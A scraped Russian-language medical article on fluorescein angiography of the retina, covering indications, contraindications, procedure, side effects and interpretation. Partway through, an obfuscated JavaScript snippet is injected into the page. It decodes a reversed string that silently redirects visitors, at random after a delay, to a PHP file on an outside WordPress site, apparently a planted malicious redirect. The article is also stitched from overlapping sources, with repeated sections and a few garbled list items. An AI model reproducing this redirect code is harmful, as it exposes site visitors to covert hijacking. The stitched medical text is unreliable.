Флуоресцентная ангиография сетчатки глаза и глазного дна

Расшифровка результатов исследования

Как только ангиография глаза проведена, начинается обработка полученных результатов. В некоторых клиниках ответ можно получить спустя 2 часа после окончания исследования. Оценка ангиограммы основывается на сопоставлении характера движения контрастного вещества через стенки сосудов сетчатки и хориоидеи глаза и симптомов, беспокоящих больного.

За норму принято считать свободное прохождение вещества по сосудам сетчатой оболочки глаза, а также проникновение красящих веществ сквозь поры фенестрированных капилляров хориоидеи. По этой причине свечение сетчатки считается отклонением от нормы.

При оценке результатов учитывается интенсивность свечения.

Исследование микроциркуляции в зрительном нерве является ценным моментом исследования, поскольку позволяет диагностировать воспалительные и опухолевые процессы, атрофию и ишемию сетчатки.

Отклонения от нормы

Выявить артриовенозные шунты, микроаневризмы и неоваскуляризацию можно при наличии замедления или отсутствия кровотока. Расширенные сосуды свидетельствуют об окклюзии, которая проявляется стенозом или замедлением опорожнения вен. Извитые сосуды могут свидетельствовать о гипертензивной ретинопатии. Точный диагноз по результатам исследования должен ставиться опытным специалистом.

Расшифровка результатов

Только офтальмолог с высокой квалификацией может верно истолковать результаты исследования и определить наличие отклонений и аномалий.

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/09/v.jpg» alt=»Доктор исследует глаза пациента» width=»700″ height=»492″ /> Результаты ФАГ можно получить в течение двух часов после диагностики

Прочтение ангиограмм базируется на соотнесении симптомов болезни со спецификой движения контрастного вещества через стенку сосудов хориоидеи и сетчатки глаза.

При интепретировании полученных ангиограмм оценивают наличие гипофлуоресценции (светимости ниже нормального уровня) и гиперфлуоресценции (повышенной светимости). Этот способ оценки относится к качественным методам.

Основанием для гипофлуоресценции может быть:

• появление в центральных слоях сетчатки глаза образований или атипичных тканей и кровоизлияния, которые обладают повышенной оптической плотностью и содействуют гашению свечения;
• нарушение кровоснабжения сетчатки и хориодиеи, что проявляется на ангиограммах в виде уменьшенной флуоресценции либо её полном отсутствием;
• протекание дистрофических процессов в сосудах глаза либо аномальное отсутствие сосудистой ткани.

Гиперфлуоресценция может быть обусловлена:

• отслоением или дефектами сетчатки глаза, что вызывает сосредоточение красителя;
• нарушением гематоретинального барьера (стенок капилляров сетчатки), что проявляется на снимках в виде окрашивания тканей;
• появлением новообразованных сосудов хориоидеи;
• дефектами сосудов сетчатки;
• излишним прокрашиванием тканей глаза вследствие наличия образований, например, друзы.

Расчёт времени протекания фаз исследования относится к количественной методике оценки результатов с помощью калиброметрии

Высокая частота фотографирования помогает точно зафиксировать скорость течения каждой стадии, что важно для диагноста. Более значимым является разделение хориоидальной фазы и ранней артериальной

Денситометрия — второй по популярности количественный метод интепретирования ангиограмм. С помощью него строится график изменения кровенаполнения глазного дна по интенсивности флуоресценции, отражающий нарастание и уменьшение контрастирования, а также пиковой флуоресценции.

Особую ценность представляет анализ микроциркуляции зрительного нерва при помощи метода ФАГ. Полученные данные помогают в диагностике таких патологических процессов, как:

• друзы диска нерва;
• неврит и папиллит (воспалительных процессов);
• опухоли зрительного нерва;
• ишемия;
• атрофия.

Как расшифровываются результаты?

На снимках должна визуализироваться сосудистая сетка. По ней опытный врач сделает множество выводов. Практически при любых заболеваниях сосудов они меняют свою форму, сужаются или расширяются, становятся извилистыми. При наличии аневризм — расширение или выпячивания стенок артерий — флюоресцирующее вещество выходит за пределы сосудов, образуя на сетчатой оболочке светящиеся пятна. Могут наблюдаться коллатерали — новые сосуды, обеспечивающие кровоснабжение в обход основному руслу. Состояние сосудов может рассказать и о других патологических процессах. Так, низкая светимость красителя сигнализирует об одном из следующих заболеваний:

• новообразование сетчатой оболочки;
• кровоизлияние;
• тромбоз;
• дегенерация радужной оболочки.

Очень яркое свечение сосудов, гиперфлуоресценция, говорит о начале атрофических процессов и повреждениях зрительного нерва. В норме она показывает отсутствие дегенеративных изменений. Иными словами, по полученным снимкам офтальмолог способен выявить самые разные заболевания. Могут быть определены и их причины.

Показания

Обследование методом ангиографии позволяет выполнить следующие тесты:

• Контроль кровотока в структурах глазного яблока.
• Выявление патологических состояний организма перед выполнением хирургических и лазерных операций.
• Контроль течения имеющихся заболеваний.
• Определение сужения сосудов или их полной закупорки.
• Мониторинг назначенного лечения.
• Контроль болезни в динамике.

Метод флуоресцентной ангиографии сетчатки глаза дает объективную картину состояния здоровья глаз и проходимости мельчайших сосудов так, как информация не учитывает ощущения и мнения пациента.

Методика используется на разных этапах лечения – при диагностике патологий и контроля действия рекомендованных лечебных мероприятий.

Исследование проводится только по направлению врача при наличии определенных показаний. Имеются некоторые противопоказания:

• Помутнение роговицы, хрусталика, стекловидного тела, которое затрудняет проведение процедуры.
• Повышение внутриглазного давления, появившееся при глаукоме, делающее невозможным расширение зрачка.
• Патологические состояния печени, почек, затрудняющие выведение флуоресцентного состава.
• Бронхиальная астма, приступ которой может произойти во время исследования.
• Воспалительные заболевания вен, которые могут осложниться под воздействием флуоресцентного пигмента.
• Пережитый больным геморрагический или ишемический инсульт.
• Пережитый инфаркт как временное противопоказание в течение года.
• Высокая вероятность аллергической реакции на медицинские препараты – контрастное вещество, антибиотик, расширяющие зрачок препараты.
• Ограничения по возрасту – от 14 лет до 65 лет.
• Психические заболевания, не позволяющие человеку соблюдать рекомендации врача при проведения процедуры.
• Период лактации, так как во время процедуры краситель может попасть в молоко кормящей женщины и вызвать у ребенка аллергическую или диспепсическую реакцию.

При этом беременность не является противопоказанием к исследованию – процедура не угрожает здоровью матери и будущего ребенка.

Результаты ангиографии глаза

Через 15 секунд после введения в локтевую вену флуоресцеин достигает сетчатки. После заполнения капилляров сосудистой оболочки, сетчатка глаза начинает флюоресцировать и приобретает равномерный пятнистый вид. Краситель в артериальной фазе полностью заполняет артерии, а артериовенозный период длится от полнейшего заполнения капилляров и артерий до того момента, пока не обнаружится вещество в венах.

Венозная фаза проходит от начала опорожнения артерий и вплоть до заполнения вен. Спустя минуту после инъекции, когда флуоресцеин не определяется в сосудах сетчатки глаза, наступает последняя рециркуляционная фаза.

Отклонения от нормы

Разнообразные и сложные данные флуоресцентной ангиографии глаза должны интерпретироваться квалифицированным офтальмологом с огромным опытом исследования патологии сетчатки глаза. На начальном отрезке фазы заполнения выявляются микроаневризмы, неоваскуляризация и артериовенозные шунты.

По этим признакам, как замедление или отсутствие кровотока по артериям, медленное опорожнение вен или стеноз, можно исследовать артериальную окклюзию. Венозная окклюзия выражается в расширении сосудов. При долго имеющейся окклюзии, можно видеть развитие коллатералей и реканализацию.

При гипертензивной ретинопатии находят участки с извилистыми сосудами, которые лишены капиллярной перфузии ткани сетчатки глаза красителем. Вокруг капиллярных гемангиом и аневризм могут быть затеки красителя и скопления желтого экссудата.

Ангиографическая картина при опухолях зависит от гистологического строения. Степень флюоресценции мест воспаления или отека сетчатки и фиброзной ткани может меняться. Когда отекает сосок зрительного нерва, становится видно затекание красителя в области диска.

ОКТ ангиография в Глазном Центре "Зрение" г. Челябинск

Противопоказания и побочные эффекты

В связи с тем, что методика флуоресцентной ангиографии является относительно инвазивной, она имеет ряд противопоказаний и может даже привести к развитию нежелательных явлений.

Среди противопоказаний к выполнению флуоресцентной ангиографии сетчатой оболочки имеются:

• Снижение прозрачности основных сред глазного яблока.
• Признаки глаукомы или артифакии, в результате чего зрачок не может быть полностью расширен, потому что полный мидриаз является необходимым условием высокой информативности исследования.
• Проблемы с выделительной системой, с почками, воспаление вен (тромбофлебит) или бронхиальная астма.
• При ишемических событиях в анамнезе. Инсульт (ишемической или геморрагической природы) исключает назначение ангиографии. После перенесенного инфаркта миокарда провести исследование можно не ранее, чем спустя год.
• Предшествующие аллергические реакции на различные лекарственные вещества, в особенности на рентгеноконтрастные средства, антибиотики и препараты, применяемые для расширения зрачка.
• Обычно не проводят флуоресцентную ангиографию детям в возрасте менее 14-15 лет или же пожилым пациентам старше 65 лет.
• Наличие эписиндрома и активных психических заболеваний также является противопоказанием.
• Если после родов мать кормит малыша грудью, то придется на 2-3 дня прервать естественное вскармливание. При беременности провести флуоресцентную ангиографию сетчатки не воспрещается.

После выполнения диагностики по методу флуоресцентной ангиографии у пациента могут возникнуть нежелательные последствия:

• Тошнота, которая встречается в 5% случаев.
• Головокружение и слабость.
• Рвота, возникающая у 1% пациентов.
• Чихание.
• Кожный зуд.
• Парестезия языка.
• Уртикарная сыпь.

Иногда при проведении флуоресцентной ангиографии развиваются очень тяжелые последствия. Например, могут возникнуть опасные аллергические проявления вплоть до остановки дыхания, анафилактического шока, бронхоспазма, отека гортани. Также нередки нарушения работы сердечно-сосудистой системы.

В связи с возможными осложнениями, следует проводить ангиографию в специальном помещении, оснащенном необходимым реанимационным оборудованием. Для купирования анафилактического шока необходимо ввести глюкокортикостероиды, адреналин, антигистамины.

Чтобы качественно выполнить флуоресцентную ангиографию, необходима подготовка, как самого доктора, так и среднего медицинского персонала (фотолаборанта, медицинской сестры).

Следует отметить, что имеются описания смертельных осложнений при выполнении флуоресцентной ангиографии. Однако случаи эти крайне редки, поэтому в целом этот метод диагностики можно назвать безопасным. Чтобы избежать негативных последствий в ответ на введение флуоресцеина, пациентам из группы риска следует проводить предварительно внутрикожную пробу с контрастом.

К сожалению, альтернативной диагностической процедуры, которая позволяла бы получать сходный объем информации, не существует.

Процедура и последующие действия

Для проведения процедуры необходимо закапать специальные капли

В начале, пациент подвергается процедуре закапывания в глаз капель с мидриатиком. Как правило, достижение максимального мидриаза происходит после двух инстилляций, в промежутке от 15 до 40 мин.

Когда пациент подготовлен таким образом, его усаживают лицом к камере в удобное кресло

Это важно, ибо комфортность способствует неподвижности

На пациенте должна быть легкая, удобная, не сдавливающая шею и не стесняющая движения, одежда. Ему объясняют, что он должен держать подбородок на специальной подставке, прислониться лбом к имеющейся перекладине, смотреть прямо, не пытаясь контролировать моргание, сомкнуть челюсти, дышать ровно и спокойно.

Локтевую вену пунктируют, делая несколько снимков еще до введения назначенного красителя. При этом, рука должна быть разогнута и не напряженная, если необходимо – используют специальную подставку.

Пациенту напоминают о необходимости соблюдения неподвижного положения тела, также, что краситель будет введен быстро, а при этом он должен все время смотреть в одну точку перед собой. После подготовительно – разъяснительной процедуры, вводится красящий препарат.

У пациента возможно появление рвотной реакции, чувства жара, тошноты. Необходимо его успокоить и наблюдать, нет ли признаков непереносимости препарата, которые проявляют себя рвотой, металлическим привкусом и сухостью во рту, внезапным повышенным выделением слюны, головокружения, чиханья, эффектом крапивницы, признаками потери сознания. Возможно развитие анафилактического шока, хоть и редко.

После введения красящего препарата делаются около 30 снимков, с быстротой, не превышающей одного снимка в секунду

Иглу со шприцем осторожно удаляют, а на место проведенной инъекции накладывают повязку

Если возникает необходимость в проведении отсроченных снимков, что не редкость, пациент должен минут 20 отдохнуть, а после усаживают вновь для исследования и, в течение 5-10 секунд, проводится съемка с той же частотой.

Через час после инъекции нет никакого смысла делать фотографии, так как краситель рассасывается, а снимки будут некачественными.

Вновь напоминают пациенту о возможных реакциях с изменением оттенка цвета кожи, цвета мочи, которые, возможно, сохранятся на протяжении 2-х суток и рекомендуют употребление большего, чем обычно, количества жидкости для скорейшего вывода из организма введенного красителя.

Пациенту также надо объяснить, что в течение 12 часов возможно нечеткое видение предметов, расположенных вблизи. В этот период времени воздействие прямого солнечного света следует избегать, как и вождение автомобиля.

Возможные побочные эффекты ангиографии глазного дна с применением красителя:

• Тошнота (5% обследованных)
• Чихание
• Слабость и головокружение
• Рвота (менее 1%)
• Уртикарная сыпь
• Парестезия языка
• Кожный зуд
• Нормальная картина.

Показания к флуоресцентной ангиографии сосудов глаза

Этот метод исследования назначается не только при подозрении на офтальмологические заболевания. Показаниями могут стать другие болезни, которые отражаются на состоянии сосудов и способны привести к развитию офтальмопатологии. Так, ангиографию рекомендуется проходить людям с сахарным диабетом. В этом случае высока вероятность возникновения диабетической ретинопатии — болезни, которая сопровождается поражением сосудов сетчатой оболочки. Она становится основной причиной полной утраты зрения.

Основные показания к ангиографии сосудов глаза — следующие патологические процессы и состояния:

• Первичные признаки дистрофии сетчатки: снижение остроты зрения и сужение его полей, скотомы, нарушение цветовосприятия, «мушки» перед глазами.
• Опухоли сосудистой оболочки глаза: лейомиома, меланома.
• Нарушение кровотока сосудов сетчатки глаза.
• Воспалительные процессы в сетчатой оболочке.
• Заболевания диска зрительного нерва: застойный диск, псевдозастой, неврит.

Ангиография глаза позволяет выявить и другие патологические изменения:

• Тромбоз центральной вены сетчатки. При этой офтальмопатологии вены становятся более извитыми, они расширяются, а сетчатка отекает. Возникают кровоизлияния. У больного резко ухудшается зрение. Появляются боли, в глазах мелькают вспышки, молнии.
• Окклюзия центральной артерии сетчатки — нарушение проходимости сосудов внутренней оболочки глаза. Проявляется заболевание в сильном снижении зрения, возникновении пелены перед глазами, болях и резях.
• Васкулиты — воспалительные процессы в сосудах. Больной жалуется на плохое зрение, снижение его остроты в темное время суток, синдром «сухого глаза».

Атрофия зрительного нерва — постепенное высыхание и отмирание волокон. Благодаря работе зрительного нерва в кору головного мозга поступает полученное сетчаткой изображение. При атрофии ухудшаются все зрительные функции, восстановить которые не представляется возможным.
Опухоли сетчатки: меланома, ретинобластома. Эти болезни влияют не только на качество зрения, но и на подвижность глазных яблок

Важно обнаружить опухоли на ранних стадиях, когда они поддаются лечению.
Отслоение сетчатки. Разрыв, отслойка и дистрофия сетчатой оболочки могут произойти по различным причинам

Высока вероятность развития этой патологии у пациентов с сильной степенью близорукости. Отслоение сетчатки без должного лечения приводит к слепоте.

Все перечисленные патологии считаются очень опасными. Из-за них человек может стать инвалидом по зрению. Преимущество ангиографии сосудов в том, что она позволяет не только выявить заболевание, но и определить характер его развития, стадию и возможные пути ухудшения состояния.

Подготовка и методика выполнения

В локтевую вену пациента вводят контрастное вещество, которое достигнет сосудов сетчатки через 15 секунд.

При назначении флуоресцентной ангиографии врач обязательно знакомит пациента с методикой исследования сосудов сетчатки, ее возможными осложнениями, побочными действиями контраста и уточняет все данные для исключения абсолютных и относительных противопоказаний к ее проведению. При необходимости доктор может порекомендовать прекратить прием некоторых лекарственных препаратов или заменить их другими средствами. После этого больной дает письменное согласие на выполнение этого метода диагностики (эта мера является стандартной и действует при назначении даже малоинвазивных способов обследования).

В день исследования пациент является в кабинет ФАГ и его усаживают лицом к камере аппарата. Далее обследование проводится следующим образом:

1. В конъюнктивальный мешок для получения полного мидриаза закапывают специальные капли.
2. Подбородок пациента помещают на удобную подставку, а лоб опирают на перекладину. Челюсти во время проведения процедуры должны быть максимально сомкнуты, а взгляд направлен вперед. Пациент должен расслабиться, дышать ровно, сидеть неподвижно и стараться не моргать, так как снимки будут малоинформативными.
3. После подготовки зрачка в локтевую вену вводится необходимое рентгеноконтрастное вещество – оно достигает сосудов сетчатки за 15 секунд. Доктор проводит серию контрольных снимков.
4. Для выполнения съемки периферических отделов пациента просят перевести взгляд в необходимую точку.
5. Иногда после введения рентгеноконтрастного вещества у больного может появиться ощущение жара и тошноты. Врач еще до начала введения препарата предупреждает пациента о возможном возникновении таких симптомов – они не должны пугать, так как через небольшой отрезок времени проходят самостоятельно. Сообщить доктору следует о следующих проявлениях: головокружение, позыв к рвоте, металлический привкус во рту. Эти симптомы могут предвещать развитие шоковых реакций и нуждаются в незамедлительной врачебной помощи.
6. На фоне введения контраста выполняется 25-30 съемок (примерно по 1 снимку в 1 секунду). После введения всей дозы рентгеноконтрастного вещества и удаления иголки из локтевой вены на руку пациента накладывается давящая повязка.
7. При необходимости серия съемок может выполняться и через 20 минут после введения контраста. Такая мера предпринимается в случаях, когда врачу необходимо уточнить те или иные детали. Через час после введения контрастного препарата снимки уже не выполняются, так как они будут неинформативными из-за выведения контраста.
8. После завершения исследования пациенту сообщают время или дату выдачи результатов. В некоторых диагностических центрах такие результаты отправляются по электронной почте (врачу и больному).

Продолжительность флуоресцентной ангиографии обычно составляет не более 30 минут. Если состояние больного никак не изменилось, то он может отправляться домой с сопровождением, так как иногда после исследования могут наблюдаться нарушения зрения. В большинстве случаев пациенты хорошо переносят и введение препарата-контраста, и процедуру.

Подготовка к исследованию

Прежде чем назначать флюоресцентную ангиографию, врач должен убедиться, что нет противопоказаний, которые могут осложнить процедуру и навредить здоровью больного. Поэтому обследуемый должен посетить терапевта и принести справку об отсутствии отягощенного анамнеза.

Непосредственно перед процедурой офтальмолог еще раз беседует с пациентом, выясняет, принимает ли он какие-либо лекарства, нет ли аллергии на медикаменты. Специалист рассказывает, как будет проходить обследование, и как нужно вести себя в ходе процедуры.

Поскольку ФАГ требует расширения зрачка, после исследования будет ощущаться дискомфорт в глазах. Стоит позаботиться о сопровождающем, который заберет пациента из клиники и сопроводит домой.

Диеты перед процедурой не требуется, но утром завтракать нужно неплотно — после введения контраста может появиться тошнота. Одежду лучше выбирать такую, которая не будет стеснять дыхание, с широкими рукавами, не перекрывающими доступ к венам.

Обязательным является проведение пробы с флуоресцеином, она позволит выявить реакцию организма на препарат, наличие или отсутствие аллергии. Для этого на внутреннюю поверхность предплечья внутрикожно вводят 0,1 мл контраста и через несколько минут оценивают реакцию. Но врачи предпочитают перестраховаться и перед исследованием вводят антигистаминное средство, которое будет блокировать аллергическую реакцию.

Результаты исследования

В норме краситель заполняет капилляры сетчатки через 13-15 секунд после введения в вену. По прошествии этого времени на фото должна хорошо визуализироваться сосудистая сетка (специалист может не только оценить общую картину, но и провести ангиометрию), а контраст не должен выходить за пределы сосудов. Через 30-60 минут флюоресценция в сосудах сетчатки у здоровых людей не определяется.

При патологических состояниях сосуды глазного дна меняют свою форму – становятся извилистыми, сужеными или расширенными. Дают о себе знать аневризмы – мешковидные расширения артерий. Контрастное вещество выходит за пределы сосудистого русла и образует светящиеся пятна на сетчатке. Появляются коллатерали – новые сосуды, которые обеспечивают ток крови в обход патологически измененным участкам.

Если хорошо присмотреться к снимкам сетчатки, сделанным в разное время, может обнаружиться и масса других изменений. То есть интерпретация результатов ангиографии глазного дна является задачей достаточно сложной, однако если ее выполняет грамотный квалифицированный врач, полученная информация может быть очень полезной для офтальмолога и в плане постановки диагноза, и в плане выявления причин нарушений зрения, и в плане подбора оптимального метода лечения пациента.

Зубкова Ольга Сергеевна, медицинский обозреватель, врач-эпидемиолог

 7,848 total views,  1 views today

Недостатки процедуры

Все методы лечения и диагностики показывают сильные и слабые стороны. К недостаткам ангиографии относят вероятность аллергической реакции. Данное явление может привести к осложнениям и анафилактическому шоку. Игнорирование и бездействие признаков аллергии приводит к смертельному исходу. Поэтому перед проведением процедуры необходимо провести тест на восприятие организмом контрастного вещества. Для этого подкожно вводят малую дозу специфической жидкости, наблюдая за реакцией организма. При первых признаках непринятия процедура обследования противопоказана.

Процесс диагностирования проводится под бдительным руководством врача-офтальмолога и медицинского персонала. В случае осложнения пациенту оказывается профессиональная медицинская помощь. Также наблюдается реакция на контраст в виде рвоты, тошноты, расстройства пищеварительного тракта, головокружения и обмороков. В случае отёка Квинке, прекращения дыхательных функций, анафилактического шока пациента отправляют в реанимацию для оказания необходимой, срочной медицинской помощи. После положительно проведённого обследования наблюдается специфический цвет выделений, мочи. Это вызвано содержащейся в крови контрастной жидкостью. Для её выведения рекомендуется обильное питьё. А вспышки фотокамеры влияют на зрение, два следующих дня человек может видеть красные вспышки.

Подвижность во время процесса диагностирования приводит к неточным результатам обследования, искаженным фотоснимкам. А несоблюдение рекомендаций по подготовке к анализу ведут к ложным показателям. При игнорировании рекомендаций врача результатам теста не стоит доверять. Также при наличии заболеваний, перечисленных в противопоказаниях, обследование не будет результативным.